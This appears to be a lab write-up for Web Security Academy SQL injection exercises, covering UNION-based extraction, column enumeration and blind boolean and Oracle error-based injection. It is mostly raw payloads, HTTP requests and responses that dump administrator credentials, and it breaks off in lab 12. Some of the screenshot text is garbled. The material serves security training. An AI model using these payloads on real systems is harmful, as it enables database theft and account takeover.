10 Sec-Fetch-Site: same-origin			309		<tr>
11 Sec-Fetch-Mode: navigate					<th> WRI\$_ADV ASA RECO DATA
12 Sec-Fetch-User: ?1					</th>
13 Sec-Fetch-Dest: document					

- Payload → ' UNION SELECT table\_name, NULL from all\_tables—

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
1 GET /filter?category=Gifts'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name+#+3d+'USERS_AHBEDP'-- HTTP/2			102		refreeze.*Chip away at each block until the ice resembles snowflakes.
2 Host: 0a4500740360bee680307bcd0042009b.web-security-academy.net			103		*Scatter snow.
3 Cookie: session=Rw5UEcmHuwHHhggoQN4ilaXIrIi1Rcet			104		Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you.
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"			105		Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment.
5 Sec-Ch-Ua-Mobile: ?0			106		</td>
6 Sec-Ch-Ua-Platform: "Windows"			107		</tr>
7 Upgrade-Insecure-Requests: 1			108		<tr>
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36					<th> USERNAME_BQZQIC
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7					</th>
10 Sec-Fetch-Site: same-origin					</tr>
11 Sec-Fetch-Mode: navigate					
12 Sec-Fetch-User: ?1					
13 Sec-Fetch-Dest: document					
14 Referer:			109		

- Payload → ' UNION SELECT column\_name, NULL FROM all\_tab\_columns WHERE table\_name = 'USERS\_AHBEDP'—

Request		Response			
		Pretty	Raw	Hex	Render
1	GET /filter?category=Gifts'+UNION+SELECT+USERNAME_BQZQIC,+PASSWORD_TMWJTC+FROM+USERS_AHBEDP-- HTTP/2				You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you.
2	Host: 0a4500740360bee680307bcd0042009b.web-security-academy.net				Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment.
3	Cookie: session=Rw5UEcmHuwHHggcQN4ilaXIrIi1Rcet	99			</td>
4	Sec-Ch-Ua: "Chromium";v="123", "Not;A-Brand";v="8"				</tr>
5	Sec-Ch-Ua-Mobile: ?0	100			<tr>
6	Sec-Ch-Ua-Platform: "Windows"	101			<th>
7	Upgrade-Insecure-Requests: 1	102			administrator
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36	103			</th>
9	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7	104			<td>
10	Sec-Fetch-Site: same-origin				as8i2udw03objb2nglnmf
11	Sec-Fetch-Mode: navigate				</td>
12	Sec-Fetch-User: ?1				</tr>
13	Sec-Fetch-Dest: document				

- Payload → ' UNION SELECT USERNAME\_BQZQIC, PASSWORD\_TMWJTC FROM USERS\_AHBEDP—

**Web Security Academy** SQL injection attack, listing the database contents on Oracle LAB Solved 💡

[Back to lab description >](#)

Congratulations, you solved the lab! [Share your skills!](#)   [Continue learning >](#)

[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: administrator

Email

[Update email](#)

## 7. SQL injection UNION attack, determining the number of columns returned by the query.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

To perform a UNION attack:

- The number and the order of the columns must be the same in all queries.
- The data types must be compatible.

We need to check how many columns are there,

- Payload 1 → ' UNION SELECT NULL—  
If this gives an error response it means the table has more than one column.
- Payload 2 → ' ORDER BY 1—

The screenshot shows the Network tab of a browser developer tools interface. The Request section shows a GET request to '/filter?category=' with a payload of "' UNION SELECT NULL, +NULL, +NULL--". The Response section shows a successful HTTP/2 200 OK response with a content length of 4973 bytes. The content is an HTML page with a title 'SQL injection UNION attack, determining' and links to CSS files.

```

Request
Pretty Raw Hex
1 GET /filter?category=
' UNION SELECT NULL, +NULL, +NULL-- | HTTP/2
2 Host:
0a8000ab04le505d80504efd00de006d.web-security-academy.net
3 Cookie: session=i85mhVf1pt3qbAGm0BNGUnDEbExlczUf
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
9 Accept:
10
11

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 4973
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">
10    <link href="/resources/css/labsEcommerce.css rel=stylesheet">
11    <title>SQL injection UNION attack, determining</title>

```

The screenshot shows a web page from the 'Web Security Academy'. At the top left is the logo 'Web Security Academy' with a red lightning bolt icon. To the right of the logo is the title 'SQL injection UNION attack, determining the number of columns returned by the query'. Above the title is a green button labeled 'LAB' and 'Solved' with a checkmark icon. Below the title is a link 'Back to lab description >'. Underneath the title is an orange bar with the message 'Congratulations, you solved the lab!' followed by 'Share your skills!' and social media icons for Twitter and LinkedIn. To the right of these icons is a link 'Continue learning >'. At the bottom of the page is a navigation bar with links 'Home' and 'My account'. The background of the main content area features a graphic with the text 'WE LIKE TO SHOP?' where 'SHOP' is in large blue letters and a question mark is integrated into the letter 'O'.

## 8. SQL injection UNION attack, finding a column containing text.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

The first step is to identify the number of columns.

- Payload → ' ORDER BY 1—

We know that there are 3 columns which give an internal server error when I entered 4.

```

Request
Pretty Raw Hex
1 GET /filter?category=Pets'+order+by+4-- HTTP/2
2 Host: 0a44008604a32b9183367dd300650088.web-security-academy.net
3 Cookie: session=dnMM3JSxpyvHXUgwogsG14qMfVq40p5T
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

Response
Pretty Raw Hex Render
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2468
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">

```

Now we need to identify the data type of the table/ columns.

- Payload → ' UNION SELECT NULL, NULL, NULL—

```

Request
Pretty Raw Hex
1 GET /filter?category=Pets'+UNION+SELECT+NULL,+'a',+NULL-- HTTP/2
2 Host: 0a44008604a32b9183367dd300650088.web-security-academy.net
3 Cookie: session=dnMM3JSxpyvHXUgwogsG14qMfVq40p5T
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

Response
Pretty Raw Hex Render
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2468
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">
10    <link href="/resources/css/labsEcommerce.css rel=stylesheet">

```

Only the 2<sup>nd</sup> column data type is string and gives a 200 response.

```

Request
Pretty Raw Hex
1 GET /filter?category=Pets'+UNION+SELECT+NULL,+'nKxBAX',+NULL-- HTTP/2
2 Host: 0a44008604a32b9183367dd300650088.web-security-academy.net
3 Cookie: session=dnMM3JSxpyvHXUgwogsG14qMfVq40p5T
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 5156
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">
10    <link href="/resources/css/labsEcommerce.css rel=stylesheet">

```

The screenshot shows the 'Web Security Academy' logo on the left. To its right is the title 'SQL injection UNION attack, finding a column containing text'. A green button at the top right says 'LAB' and 'Solved' with a checkmark icon. Below the title is a link 'Back to lab description >'. An orange banner at the bottom of the main content area says 'Congratulations, you solved the lab!' followed by 'Share your skills!' with social media icons for Twitter and LinkedIn, and a link 'Continue learning >'. At the very bottom right of the page are links 'Home' and 'My account'.

## 9. SQL injection UNION attack, retrieving data from other tables.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called `users`, with columns called `username` and `password`.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user.

Steps:

- Number of columns → ‘order by 1—
- Data types of the columns → ‘UNION SELECT NULL—

The screenshot shows the 'Request' and 'Response' sections of a browser developer tools Network tab. The Request section shows a GET request to '/filter?category=Accessories'+ORDER+BY+3+-+HTTP/2 HTTP/2. The Response section shows the server's response: HTTP/2 500 Internal Server Error, Content-Type: text/html; charset=utf-8, X-Frame-Options: SAMEORIGIN, Content-Length: 2381. The response body contains HTML code: <!DOCTYPE html>, <html>, <head>, <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet>, <link href="/resources/css/labs.css rel=

We know that there are 2 columns.

```

Request
Pretty Raw Hex
1 GET /filter?category=Accessories'+UNION+SELECT+'a','a'-- HTTP/2
2 Host: Oac000b3030c501c817bd45b00540070.web-security-academy.net
3 Cookie: session=j5vR0ebEK3RWICoNfrJiqAT9eXMZnhoM
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 8160
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">
10    <link href="/resources/css/labsEcommerce.css rel=stylesheet">
11    <title>SQL injection UNION attack, retrieving
```

Data types are string. Now we can retrieve credentials from the users' table.

```

Request
Pretty Raw Hex
1 GET /filter?category=Accessories'+UNION+SELECT+username,+password+FROM+users-- HTTP/2 HTTP/2
2 Host: Oac000b3030c501c817bd45b00540070.web-security-academy.net
3 Cookie: session=j5vR0ebEK3RWICoNfrJiqAT9eXMZnhoM
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Response
Pretty Raw Hex Render
66 </section>
67   <table class="is-table-longdescription">
68     <tbody>
69       <tr>
70         <th>
71           administrator
72         </th>
73         <td>
74           8rnriiv7yngdt2ze4wdhl
75         </td>
76       </tr>
```

**Web Security Academy** SQL injection UNION attack, retrieving data from other tables LAB Solved

Back to lab description »

Congratulations, you solved the lab! Share your skills! [Twitter](#) [LinkedIn](#) Continue learning »

Home | My account | Log out

## My Account

Your username is: administrator

## 10.SQL injection UNION attack, retrieving multiple values in a single column.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called `users`, with columns called `username` and `password`.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the `administrator` user.

First we need to find the number of columns → ' order by 1—

Request		Response				Inspector	Notes
Pretty	Raw	Pretty	Raw	Hex	Render		
1 GET /filter?category=Gifts'+ORDER+BY+3---		1 HTTP/2 500 Internal Server Error					
2 Host:	0a8000af0471428080d662da004f0044.web-security-academy.net	2 Content-Type: text/html; charset=utf-8					
3 Cookie: session=Cz8BomTyu9I3KooWGgVRPEIGvbH7w8Lf		3 X-Frame-Options: SAMEORIGIN					
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"		4 Content-Length: 2415					
5 Sec-Ch-Ua-Mobile: ?0		5					
6 Sec-Ch-Ua-Platform: "Windows"		6 <!DOCTYPE html>					
		7 <html>					
		8 <head>					
		9 <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">					

There are 2 columns.

Now need to find what are the data types of these columns

- Payload → 'UNION SELECT NULL, NULL—

Request		Response				Inspector	Notes
Pretty	Raw	Pretty	Raw	Hex	Render		
1 GET /filter?category=Gifts'+UNION+SELECT+NULL,+'a'--	HTTP/2	1 HTTP/2 200 OK					
2 Host:	0a8000af0471428080d662da004f0044.web-security-academy.net	2 Content-Type: text/html; charset=utf-8					
3 Cookie: session=Cz8BomTyu9I3KooWGgVRPEIGvbH7w8Lf		3 X-Frame-Options: SAMEORIGIN					
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"		4 Content-Length: 4897					
5 Sec-Ch-Ua-Mobile: ?0		5					
		6 <!DOCTYPE html>					
		7 <html>					
		8 <head>					
		9 <link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">					

Now we need to retrieve the values by using a single column.

- Payload 1 → ' UNION SELECT NULL, username from users—
- Payload 2 → ' UNION SELECT NULL, password from users—

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /filter?category=Gifts'+UNION+SELECT+NULL,+username+from+users- - HTTP/2		70 <th> administrator </th>	
2 Host: 0a8000af0471428080d662da004f0044.web-security-academy.net		71 </tr> 72 <tr> 73 <th>	
3 Cookie: session=Cz8BomTyu9I3KooWCgVRPEIGvbH7w8Lf		Conversation Controlling Lemon </th>	
4 Sec-Ch-Ua: "Chromium";v="123"		</tr>	

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /filter?category=Gifts'+UNION+SELECT+NULL,+password+from+users- - HTTP/2		70 &quot;/product?productId=3&quot;> View details </td>	
2 Host: 0a8000af0471428080d662da004f0044.web-security-academy.net		71 </tr> 72 <tr> 73 <th>	
3 Cookie: session=Cz8BomTyu9I3KooWCgVRPEIGvbH7w8Lf		yg28gd054yeuo fn3gq8g </th>	
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"		74 </tr> 75 <tr> 76 <th>	
5 Sec-Ch-Ua-Mobile: ?0		77 dgwe5tvkggs8v0okr0db </th>	
6 Sec-Ch-Ua-Platform: "Windows"		78 </tr>	
7 Upgrade-Insecure-Requests: 1			
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like			

**Web Security Academy** SQL injection UNION attack, retrieving multiple values in a single column LAB Solved

[Back to lab description >](#)

Congratulations, you solved the lab! [Share your skills!](#)   [Continue learning >](#)

[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: administrator

## 11. Blind SQL injection with conditional responses.

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.

The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user.

To solve the lab, log in as the `administrator` user.

We can confirm that this lab is vulnerable to the blind SQL injection by returning the 'welcome back' message.

- Select tracking id from tracking table where `tracking_id = 'value of tracking id'`

If there is not `tracking_id` then it doesn't return the 'welcome back' message.

- Select tracking id from tracking table where `tracking_id = 'Fn3Qe116v84ufW6u'`
- Payload → Select tracking id from tracking table where `tracking_id = 'Fn3Qe116v84ufW6u' ' and 1=1--;`

<pre> 1   GET / HTTP/2 2   Host: 0a2300e40314212886408fa4003e0020.web-security-academy.net 3   Cookie: TrackingId=Fn3Qe116v84ufW6u'+and+1=3d1--; session=hazuhU1Id3hriduJPuqRoaU\$HwfomqPL 4   Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8" 5   Sec-Ch-Ua-Mobile: ?0 6   Sec-Ch-Ua-Platform: "Windows" 7   Upgrade-Insecure-Requests: 1 8   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 9   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 10   Sec-Fetch-Site: same-origin 11   Sec-Fetch-Mode: navigate </pre>	<pre> 34           &lt;span class=lab-status-icon&gt; 35               &lt;/span&gt; 36           &lt;/div&gt; 37       &lt;/div&gt; 38   &lt;/section&gt; 39   &lt;/div&gt; 40   &lt;div theme="ecommerce"&gt; 41       &lt;section class="maincontainer"&gt; 42           &lt;div class="container"&gt; 43               &lt;header class="navigation-header"&gt; 44                   &lt;section class="top-links"&gt; 45                       &lt;a href="/"&gt;Home&lt;/a&gt; 46                       &lt;p&gt; &lt;/p&gt; 47                       &lt;div&gt;Welcome back!&lt;/div&gt; 48                   &lt;/section&gt; 49               &lt;/header&gt; 50               &lt;div&gt; 51                   &lt;h1&gt;Lab 11&lt;/h1&gt; 52               &lt;/div&gt; 53           &lt;/div&gt; 54       &lt;/section&gt; 55   &lt;/div&gt; 56   &lt;div&gt; 57       &lt;h2&gt;Lab 11&lt;/h2&gt; 58       &lt;h3&gt;Welcome back!&lt;/h3&gt; 59       &lt;img alt="Success icon" src="https://www.w3schools.com/html/pic_banana.gif" style="width: 100px; margin-left: auto; margin-right: auto;"/&gt; 60       &lt;div&gt; 61           &lt;h4&gt;Session ID: 0a2300e40314212886408fa4003e0020&lt;/h4&gt; 62           &lt;h4&gt;Tracking ID: Fn3Qe116v84ufW6u&lt;/h4&gt; 63       &lt;/div&gt; 64   &lt;/div&gt; 65   &lt;div&gt; 66       &lt;h2&gt;Lab 11&lt;/h2&gt; 67       &lt;h3&gt;Welcome back!&lt;/h3&gt; 68       &lt;img alt="Success icon" src="https://www.w3schools.com/html/pic_banana.gif" style="width: 100px; margin-left: auto; margin-right: auto;"/&gt; 69       &lt;div&gt; 70           &lt;h4&gt;Session ID: 0a2300e40314212886408fa4003e0020&lt;/h4&gt; 71           &lt;h4&gt;Tracking ID: Fn3Qe116v84ufW6u&lt;/h4&gt; 72       &lt;/div&gt; 73   &lt;/div&gt; 74   &lt;div&gt; 75       &lt;h2&gt;Lab 11&lt;/h2&gt; 76       &lt;h3&gt;Welcome back!&lt;/h3&gt; 77       &lt;img alt="Success icon" src="https://www.w3schools.com/html/pic_banana.gif" style="width: 100px; margin-left: auto; margin-right: auto;"/&gt; 78       &lt;div&gt; 79           &lt;h4&gt;Session ID: 0a2300e40314212886408fa4003e0020&lt;/h4&gt; 80           &lt;h4&gt;Tracking ID: Fn3Qe116v84ufW6u&lt;/h4&gt; 81       &lt;/div&gt; 82   &lt;/div&gt; 83   &lt;div&gt; 84       &lt;h2&gt;Lab 11&lt;/h2&gt; 85       &lt;h3&gt;Welcome back!&lt;/h3&gt; 86       &lt;img alt="Success icon" src="https://www.w3schools.com/html/pic_banana.gif" style="width: 100px; margin-left: auto; margin-right: auto;"/&gt; 87       &lt;div&gt; 88           &lt;h4&gt;Session ID: 0a2300e40314212886408fa4003e0020&lt;/h4&gt; 89           &lt;h4&gt;Tracking ID: Fn3Qe116v84ufW6u&lt;/h4&gt; 90       &lt;/div&gt; 91   &lt;/div&gt; 92   &lt;div&gt; 93       &lt;h2&gt;Lab 11&lt;/h2&gt; 94       &lt;h3&gt;Welcome back!&lt;/h3&gt; 95       &lt;img alt="Success icon" src="https://www.w3schools.com/html/pic_banana.gif" style="width: 100px; margin-left: auto; margin-right: auto;"/&gt; 96       &lt;div&gt; 97           &lt;h4&gt;Session ID: 0a2300e40314212886408fa4003e0020&lt;/h4&gt; 98           &lt;h4&gt;Tracking ID: Fn3Qe116v84ufW6u&lt;/h4&gt; 99       &lt;/div&gt; 100   &lt;/div&gt; </pre>
--	---

Now we need to confirm the existence of the user table.

- Payload → Select tracking id from tracking table where tracking\_id = ‘Fn3Qe116v84ufW6u’ ‘ and (select ‘x’ from users LIMIT 1) = ‘x’--;

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a2300e40314212886408fa4003e0020.web-security-academy.net
3 Cookie: TrackingId=Fn3Qe116v84ufW6u' and+(select+x'+from+users+LIMIT+1)+#3d+'x'--; session=hazuhU1Id3hruduJPuqRoaU8HwfomqPL
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; ...

Response
Pretty Raw Hex Render
46 | </p>
<div>
    Welcome back!
</div>
<p>
    |
</p>
47 | <a href="/my-account">
        My account
</a>
<p>
    |
</p>

```

We got the ‘welcome back’ message because the query is true.

Now need to confirm the administrator exists in the database.

- Payload → Select tracking id from tracking table where tracking\_id = ‘Fn3Qe116v84ufW6u’ ‘ and (select username from users where username = ‘administrator’) = ‘administrator’--;

```

Request
Pretty Raw Hex
1 GET / HTTP/2
2 Host: 0a2300e40314212886408fa4003e0020.web-security-academy.net
3 Cookie: TrackingId=Fn3Qe116v84ufW6u'+and+(select+username+from+users+where+username+#3d+'administrator')+#3d+'administrator'--; session=hazuhU1Id3hruduJPuqRoaU8HwfomqPL
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; ...

Response
Pretty Raw Hex Render
45 | <section class="copy-times">
46 |     <a href="/">Home
|     </a>
|     <p>
|         |
|     </p>
47 |     <div>
        Welcome back!
</div>
<p>
    |
</p>
|     <a href="/my-account">
        My account
</a>

```

Now we know that administrator exists in the database.

Now we need to enumerate the password of the administrator.

- First we need to know the length of the password.
- payload → Select tracking id from tracking table where tracking\_id = ‘Fn3Qe116v84ufW6u’ ‘ and (select username from users where username = ‘administrator’ and LENGTH (password)>1) = ‘administrator’--;

Finally we need to find the password

- ‘ and (select substring(password,1,1) from users where username = ‘administrator’ and LENGTH (password)>15) = ‘a’—
- ‘ and (select substring(password,2,1) from users where username = ‘administrator’ and LENGTH (password)>15) = ‘b’—

We need to find like these for all 20 characters one by one we can perform a brute force attack to find the password.

The screenshot shows the OWASP ZAP interface during an intruder attack. The target is set to `0a2300e40314212886408fa4003e0020.web-security-academy.net`. The results table shows 27 requests, mostly 200 OK status codes. Request 19 is highlighted. The response for request 19 shows the HTML content: `<section><div><h1>Welcome back!</h1><a href="/sys-account">My account</a></div></section>`. The status bar at the bottom indicates "1/1 match".

```

1 GET / HTTP/2
2 Host: 0a2300e40314212886408fa4003e0020.web-security-academy.net
3 Cookie: TrackingId=ilVzJ9JuvxIHMyE'+and+(select+substring(password,$1$,1)+from+users+where+username+'%3d+'administrator')+'%3d+'Sas
4 --; session=JJja7DElTUE8vGeoXQOp1jybR0KhMLp
5 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/121.0.6167.85 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/si
gned-exchange;v=b3;q=0.7
0 Sec-Fetch-Site: same-origin
1 Sec-Fetch-Mode: navigate
2 Sec-Fetch-User: ?1
3 Sec-Fetch-Dest: document
4 Referer: https://0a2300e40314212886408fa4003e0020.web-security-academy.net/
5 Accept-Encoding: gzip, deflate, br
6 Accept-Language: en-US,en;q=0.9
7 Priority: u=0, i
8
9

```

4. Intruder attack of https://0a2300e40314212886408fa4003e0020.web-security-academy.net

Attack Save Columns

Request	Payload 1	Payload 2	Status code	Error	Timeout	Length	Comment
581	1	3	200			11498	
522	2	0	200			11498	
343	3	r	200			11498	
84	4	e	200			11498	
165	5	i	200			11498	
466	6	x	200			11498	
707	7	g	200			11498	
68	8	d	200			11498	
409	9	u	200			11498	
270	10	n	200			11498	
651	11	o	200			11498	
692	12	s	200			11498	
13	13	a	200			11498	
254	14	m	200			11498	
635	15	5	200			11498	
16	16	a	200			11498	
237	17	l	200			11498	
18	18	a	200			11498	
379	19	s	200			11498	
340	20	q	200			11498	
0			200			11497	
1		a	200			11497	

Request Response

Pretty Raw Hex

```

1 GET / HTTP/2
Host: 0a2300e40314212886408fa4003e0020.web-security-academy.net
Cookie: TrackingId=ilVzJ9JuvxIHMyE'+and+(select+substring(password,3,1)+from+users+where+username+'%3d+'administrator')+'%3d+'Sas
4 --; session=JJja7DElTUE8vGeoXQOp1jybR0KhMLp
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2300e40314212886408fa4003e0020.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

```

Attack Save Columns

0 highlights

WebSecurity Academy 

Blind SQL injection with conditional responses LAB Solved

[Back to lab description >](#)

Congratulations, you solved the lab! Share your skills!   Continue learning [>](#)

[Home](#) | Welcome back! | [My account](#) | [Log out](#)

## My Account

Your username is: administrator

## 12. Blind SQL injection with conditional errors.

Task:

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called `users`, with columns called `username` and `password`. You need to exploit the blind SQL injection vulnerability to find out the password of the `administrator` user.

To solve the lab, log in as the `administrator` user.

We can confirm that parameter is actually vulnerable → `' || (select '') || '`

But it gives an internal error which means may be its using oracle database lets try again.

`' || (select '' from dual) || '` → oracle

It gives us a 200 response. It means database is oracle.

`' || (select '' from dual123) || '` → oracle

Above query will give a error response.

Request	Response
